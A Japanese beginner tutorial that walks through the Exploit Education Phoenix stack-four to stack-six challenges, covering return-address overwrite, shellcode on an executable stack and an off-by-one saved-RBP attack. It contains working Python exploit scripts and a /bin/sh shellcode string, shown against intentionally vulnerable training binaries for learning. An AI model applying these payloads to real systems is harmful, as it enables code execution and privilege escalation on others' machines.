Exploit Education Phoenix Stack (four~six) 【Pwn初心者向け解説】
はじめに
この記事は Exploit Education の Phoenix にある Stack Overflows のうち、stack-four から stack-six までを扱う解説記事です。
前回の stack-zero から stack-three を扱った記事はこちらです。
//article
今回は saved RIP の書き換え、スタック上の shellcode 実行、off-by-one を使った制御フロー奪取まで進みます。
前回よりも少し難しくなるので、細かい基礎説明は必要なところに絞って書きます。
サイトはこちらです。
前提知識
以下をある程度知っている前提で進めます。
-
gdbの基本操作 - x86_64 のレジスタと関数呼び出し規約
- ポインタとスタックフレームの基本
使用したツール
gdb-pedapython3shellcraftchecksec
環境
-
pwntoolsは使わない - アセンブリ表記は
Intel syntax - 環境は以下の記事で作成したものを使用
なお、この記事では問題バイナリを /opt/phoenix/amd64 から /home/user 配下へ持ってきた状態で進めます。
Stack-four
まず挙動を見る
実行すると入力を受け付け、その後に「どこへ return する予定か」を表示します。
user@phoenix-amd64:~/stack$ ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
<- 入力待ち
and will be returning to 0x40068d
関数一覧を見ると、いかにも怪しい関数があります。
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x000000000040061d complete_level
0x0000000000400635 start_level
0x000000000040066a main
complete_level という勝ち関数があるので、今回は return address をこれに書き換える問題だと推測できます。
main と start_level を読む
main はメッセージを表示して start_level を呼ぶだけです。
(gdb) disas main
Dump of assembler code for function main:
0x000000000040066a <+0>: push rbp
0x000000000040066b <+1>: mov rbp,rsp
0x000000000040066e <+4>: sub rsp,0x10
0x0000000000400679 <+15>: mov edi,0x400750
0x000000000040067e <+20>: call 0x400480 <puts@plt>
0x0000000000400688 <+30>: call 0x400635 <start_level>
0x0000000000400692 <+40>: leave
0x0000000000400693 <+41>: ret
重要なのは start_level です。
(gdb) disas start_level
Dump of assembler code for function start_level:
0x0000000000400635 <+0>: push rbp
0x0000000000400636 <+1>: mov rbp,rsp
0x0000000000400639 <+4>: sub rsp,0x50
0x000000000040063d <+8>: lea rax,[rbp-0x50]
0x0000000000400641 <+12>: mov rdi,rax
0x0000000000400644 <+15>: call 0x400470 <gets@plt>
0x0000000000400649 <+20>: mov rax,QWORD PTR [rbp+0x8]
0x0000000000400655 <+32>: mov rsi,rax
0x0000000000400658 <+35>: mov edi,0x400733
0x0000000000400662 <+45>: call 0x400460 <printf@plt>
0x0000000000400668 <+51>: leave
0x0000000000400669 <+52>: ret
やっていることは単純です。
-
0x50バイトのローカルバッファを確保 -
getsで境界チェックなしに入力 -
[rbp+0x8]にあるsaved RIPを読み出す - それを
%pで表示 ret
つまり、この時点で「バッファを越えて saved RIP まで届く」ことも、「いまの返り先がどこか」も、かなり親切に教えてくれています。
leave の意味
leave は次の 2 命令とほぼ同じです。
mov rsp, rbp
pop rbp
ローカル変数領域をまとめて捨て、呼び出し元の rbp を戻したあと、最後の ret で saved RIP が使われます。
今回はそこを上書きして、complete_level へ飛ばします。
payload を作る
バッファは 0x50 バイト、続いて saved rbp が 8 バイト、その次が saved RIP です。
したがって offset は 0x50 + 0x8 = 0x58 バイトです。
import struct
import sys
p64 = lambda x: struct.pack("<Q", x)
buffer_size = 0x50
saved_rbp = 0x8
offset = buffer_size + saved_rbp
payload = b"A" * offset
payload += p64(0x40061d) # complete_level
sys.stdout.buffer.write(payload)
gets 直後のスタックを見ると、確かに return address が書き換わっています。
(gdb) x/20gx $rbp-0x60
0x7fffffffe590: 0x4141414141414141 0x4141414141414141
0x7fffffffe5a0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5b0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5c0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5d0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5e0: 0x4141414141414141 0x000000000040061d
そのまま進めると ret 後に complete_level が呼ばれます。
user@phoenix-amd64:~/stack$ python3 four.py | ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!
stack-four は「saved RIP を直接勝ち関数に差し替える」基本問題でした。
Stack-five
まず挙動を見る
まずは関数一覧です。
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x000000000040058d start_level
0x00000000004005a4 main
stack-four と同じで、main から start_level を呼ぶ構成です。
(gdb) disas main
Dump of assembler code for function main:
0x00000000004005b3 <+15>: mov edi,0x400620
0x00000000004005b8 <+20>: call 0x400400 <puts@plt>
0x00000000004005c2 <+30>: call 0x40058d <start_level>
0x00000000004005cc <+40>: leave
0x00000000004005cd <+41>: ret
start_level が本体です。
(gdb) disas start_level
Dump of assembler code for function start_level:
0x000000000040058d <+0>: push rbp
0x000000000040058e <+1>: mov rbp,rsp
0x0000000000400591 <+4>: add rsp,0xffffffffffffff80
0x0000000000400595 <+8>: lea rax,[rbp-0x80]
0x0000000000400599 <+12>: mov rdi,rax
0x000000000040059c <+15>: call 0x4003f0 <gets@plt>
0x00000000004005a2 <+21>: leave
0x00000000004005a3 <+22>: ret
add rsp, 0xffffffffffffff80 は、実質的には sub rsp, 0x80 と同じです。
つまり 0x80 バイトのバッファに gets で無制限入力しています。
今回は勝ち関数がありません。
なので方針は「return address をスタック上の shellcode に向ける」です。
checksec で方針を確認する
user@phoenix-amd64:~/stack$ checksec stack-five
[*] '/home/user/stack/stack-five'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
ここで重要なのは NX disabled です。
スタック上のデータをそのまま命令として実行できます。
どこへ飛ばすか
offset は 0x80 + 0x8 = 0x88 バイトです。
まず適当な return address を入れてみて、gets 後のスタック位置を確認します。
(gdb) x/30gx $rbp-0x80
0x7fffffffe5d0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5e0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5f0: 0x4141414141414141 0x4141414141414141
0x7fffffffe600: 0x4141414141414141 0x4141414141414141
0x7fffffffe610: 0x4141414141414141 0x4141414141414141
0x7fffffffe620: 0x4141414141414141 0x4141414141414141
0x7fffffffe630: 0x4141414141414141 0x4141414141414141
0x7fffffffe640: 0x4141414141414141 0x4141414141414141
0x7fffffffe650: 0x4141414141414141 0x00007fffffffe5d0
バッファ先頭が 0x7fffffffe5d0 付近に置かれていると分かるので、この領域に着地させればよさそうです。
shellcode を置く
shellcraft で amd64 Linux 向けの /bin/sh shellcode を作ります。
user@phoenix-amd64:~/stack$ shellcraft -l | grep amd64 | grep linux | grep sh
amd64.linux.bindsh
amd64.linux.dupsh
amd64.linux.findpeersh
amd64.linux.sh
user@phoenix-amd64:~/stack$ shellcraft amd64.linux.sh
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05
今回は少し広めの NOP sled を先頭に置いて、そこへ着地させます。
import struct
import sys
p64 = lambda x: struct.pack("<Q", x)
stack_size = 0x80
saved_rbp = 0x8
offset = stack_size + saved_rbp
nop_sled = b"\x90" * 80
# shellcraft amd64.linux.sh
shellcode = bytes.fromhex(
"6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
)
payload_core = nop_sled + shellcode
padding = b"A" * (offset - len(payload_core))
target_addr = p64(0x7fffffffe5f0)
payload = payload_core + padding + target_addr
sys.stdout.buffer.write(payload)
ret 後に NOP sled へ着地すれば、そのまま shellcode まで滑って実行されます。
──────────────────────────────────────── code:x86:64 ────
0x7fffffffe61d nop
0x7fffffffe61e nop
0x7fffffffe61f nop
→ 0x7fffffffe620 push 0x68
0x7fffffffe622 movabs rax,0x732f2f2f6e69622f
GDB 内と外でアドレスがずれる点
この問題は、GDB の中と外で環境変数が少し違うせいで、スタックの配置がずれることがあります。
そのため GDB で成功した payload が、そのまま外では落ちることがあります。
実際、環境変数を比べると差があります。
(gdb) show env
...
_=/usr/local/bin/gdb
LINES=75
COLUMNS=83
この差を減らすために、GDB 側で不要な環境変数を消しておくとアドレスの再現性が上がります。
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) set env OLDPWD=/home/user
アドレスを合わせ直したあとに実行すると、シェルが取れます。
user@phoenix-amd64:~/stack$ (python3 five.py ; cat) | ./stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
id
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)
whoami
phoenix-amd64-stack-five
stack-five で重要なのは、「saved RIP を書き換える」だけでなく、「どこに飛べば実行可能な命令列があるか」を自分で作って考える点です。
ここから一気に pwn っぽさが出てきます。
Stack-six
まず挙動を見る
実行すると、環境変数 ExploitEducation を要求されます。
user@phoenix-amd64:~/stack$ ./stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
stack-six: Please specify an environment variable called ExploitEducation
関数一覧を見ると、今回の本体は greet です。
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x00000000004006fd greet
0x000000000040079b main
main は環境変数を取り出して greet に渡しています。
(gdb) disas main
Dump of assembler code for function main:
0x00000000004007b4 <+25>: mov edi,0x4008c2
0x00000000004007b9 <+30>: call 0x400520 <getenv@plt>
0x00000000004007dd <+66>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004007e4 <+73>: call 0x4006fd <greet>
0x00000000004007ec <+81>: call 0x400530 <puts@plt>
0x00000000004007f6 <+91>: leave
0x00000000004007f7 <+92>: ret
greet を読む
(gdb) disas greet
Dump of assembler code for function greet:
0x00000000004006fd <+0>: push rbp
0x00000000004006fe <+1>: mov rbp,rsp
0x0000000000400701 <+4>: push rbx
0x0000000000400702 <+5>: sub rsp,0xa8
0x000000000040071a <+29>: call 0x400580 <strlen@plt>
0x0000000000400725 <+40>: cmp eax,0x7f
0x0000000000400728 <+43>: jbe 0x400731 <greet+52>
0x000000000040072a <+45>: mov DWORD PTR [rbp-0x14],0x7f
0x0000000000400731 <+52>: mov rdx,QWORD PTR [rip+0x200458]
0x0000000000400738 <+59>: lea rax,[rbp-0xa0]
0x0000000000400745 <+72>: call 0x400510 <strcpy@plt>
0x000000000040074a <+77>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400750 <+83>: lea rax,[rbp-0xa0]
0x000000000040075a <+93>: call 0x400580 <strlen@plt>
0x0000000000400769 <+108>: lea rcx,[rax+rdx*1]
0x0000000000400774 <+119>: mov rdx,rbx
0x000000000040077a <+125>: mov rdi,rcx
0x000000000040077d <+128>: call 0x400550 <strncpy@plt>
0x000000000040078c <+143>: call 0x400560 <strdup@plt>
0x0000000000400799 <+156>: pop rbp
0x000000000040079a <+157>: ret
やっていることを C っぽく書くと、だいたい次のイメージです。
len = strlen(env);
if (len > 0x7f) len = 0x7f;
strcpy(buf, "Welcome, I am pleased to meet you ");
strncpy(buf + strlen(buf), env, len);
return strdup(buf);
問題は、env の長さは 0x7f に丸めているのに、buf 側の残りサイズを考慮していない点です。
先頭に固定文字列 "Welcome, I am pleased to meet you " がすでに入っているので、その後ろへ 0x7f バイトもコピーすると、buf の末尾を 1 バイトだけ越えます。
この問題は典型的な off-by-one です。
何が 1 バイト壊れるのか
strncpy 実行後のスタックを観察すると、rbp の最下位 1 バイトが上書きされます。
0x7fffffffe5c0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5d0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5e0: 0x00007fffffffe641 0x00000000004007e9
ここで壊しているのは saved RIP そのものではなく、その 1 つ手前にある saved RBP の下位 1 バイトです。
しかし関数末尾では leave; ret が実行されます。
leave は mov rsp, rbp; pop rbp なので、saved RBP が壊れていると、呼び出し元に戻るときのスタック位置がずれます。
その結果、次の ret が「本来の return address ではない場所」を RIP として読み、制御を奪えます。
つまり stack-six は、直接 saved RIP を踏む問題ではなく、
saved RBP の 1 バイト破壊を使って最終的に ret の参照先をずらす問題です。
環境変数に shellcode を置く
環境変数の値はプロセス起動時にメモリ上へ展開されるので、今回はその領域に shellcode を置きます。
まず確認用に launch script を作ると分析がかなり楽になります。
#!/usr/bin/env python3
import os
import subprocess as sp
payload = sp.check_output(["python3", "six.py"])
env = os.environb.copy()
env[b"ExploitEducation"] = payload
argv = [
b"/usr/local/bin/gdb",
b"-q",
b"-ex", b"unset env LINES",
b"-ex", b"unset env COLUMNS",
b"-ex", b"unset env _",
b"-ex", b"b *0x0000000000400782",
b"-ex", b"r",
b"-ex", b"x/30gx $rbp-0xa0",
b"--args",
b"./stack-six",
]
os.execve(b"/usr/local/bin/gdb", argv, env)
環境変数の値がどこに置かれているか確認すると、たとえば次のように見えます。
0x00007fffffffe538│+0x0008: 0x00007fffffffef12 → 0x9090909090909090
この 0x7fffffffef12 付近に shellcode を置けるので、最終的にはそこへ flow を向けたいです。
payload を作る
stack-five と同じ shellcode を使い、末尾 1 バイトだけで saved RBP の下位バイトを調整します。
import sys
payload = b""
nop_sled = b"\x90" * 0x0e
shellcode = bytes.fromhex(
"6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
)
max_copy = 0x7f
off_by_one = 0x1
payload_core = nop_sled + shellcode
padding = b"A" * (max_copy - len(payload_core) - off_by_one)
# saved RBP の下位 1 byte を 0xe0 にして、leave 後のスタック位置を調整する
payload += payload_core + padding + b"\xe0"
sys.stdout.buffer.write(payload)
この payload を環境変数へ入れて実行すると、main の最後の ret が本来とは別の場所を参照するようになります。
その結果、環境変数上の NOP sled へ着地します。
→ 0x4007f7 <main+92> ret
↳ 0x7fffffffef12 nop
0x7fffffffef13 nop
0x7fffffffef14 nop
0x7fffffffef15 nop
さらに進めると shellcode に到達し、execve("/bin/sh", ...) が発動します。
0x00007fffffffef20: push 0x68
0x00007fffffffef22: movabs rax,0x732f2f2f6e69622f
0x00007fffffffef2c: push rax
0x00007fffffffef2d: mov rdi,rsp
...
0x00007fffffffef4e: syscall
実行するとシェルが取れます。
user@phoenix-amd64:~/stack$ ./stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you ...
$ id
uid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)
$ whoami
phoenix-amd64-stack-six
stack-six の本質は「1 バイトしか壊せなくても、leave; ret を経由すれば制御フローを奪える」という点です。
ここは最初かなり分かりづらいですが、スタックフレームの復元手順を追う練習としてかなり良い題材でした。
再現性について補足
stack-six は環境変数の並びや長さの影響をかなり強く受けるため、記事中のアドレス配置がそのまま再現できないことがありました。
そのため、自分の環境では ExploitEducation 以外の環境変数の個数や長さを調整しつつ、狙った配置になる組み合わせを brute-force で探す補助スクリプトも作っていました。
今回の記事では本筋ではないので詳細は省きましたが、stack-six は「脆弱性の理解」と「安定して再現する工夫」がかなり別問題になりやすいです。
このへんまで含めてやると、環境依存の面倒さも含めて良い練習になります。
終わりに
stack-four から stack-six では、単なるバッファオーバーフローから一歩進んで、
-
saved RIPを直接書き換える - スタック上に命令列を置いて実行する
- off-by-one から
leave; retを悪用して制御を奪う
という、古典的だけど重要な流れをまとめて体験できます。
現代の実環境では、NX、ASLR、PIE、stack canary などが有効なことが多く、この記事のように素直に shell を取れる場面は多くありません。
それでも、保護機構のない状態で「本来 CPU が何をしているのか」を手で追えるようになると、後で ret2libc や ROP を学ぶときの理解がかなり楽になります。
特に stack-six は、最初は「たった 1 byte 壊して何ができるんだ」という気持ちになりやすい問題です。
でも実際には、その 1 byte がスタックフレームの復元位置をずらし、最終的に ret の参照先まで変えられます。
この感覚を掴めると、off-by-one を軽く見なくなります。
次に進むなら、NX enabled の環境でなぜ shellcode 実行が止められるのか、その代わりに ret2libc や ROP が使われる理由、PIE や ASLR があるときになぜリークが重要になるのか、といった点を意識すると理解がつながりやすいと思います。
さらにその先で heap の exploit に進むと、見方はもう一段変わってきます。
stack では「入力がどこまで届くか」「その先にある saved RIP や関数ポインタをどう壊すか」という、比較的直線的な考え方で追える場面が多くあります。
一方で heap では、単に隣の値を上書きするだけではなく、chunk のサイズ、使用中か解放済みか、free list にどう繋がるか、といったメモリ管理側の構造を前提に考える必要が出てきます。
つまり、stack では「どこに届くか」を追う感覚が強く、heap では「allocator がその領域をどう解釈するか」を読む感覚が強くなります。
その意味で、ここまでの stack 問題で身につく「メモリ上で何が起きているかを観察して説明する力」は、heap に進むための土台としてかなり重要です。
同じように詰まっている人の助けになれば幸いです。
Discussion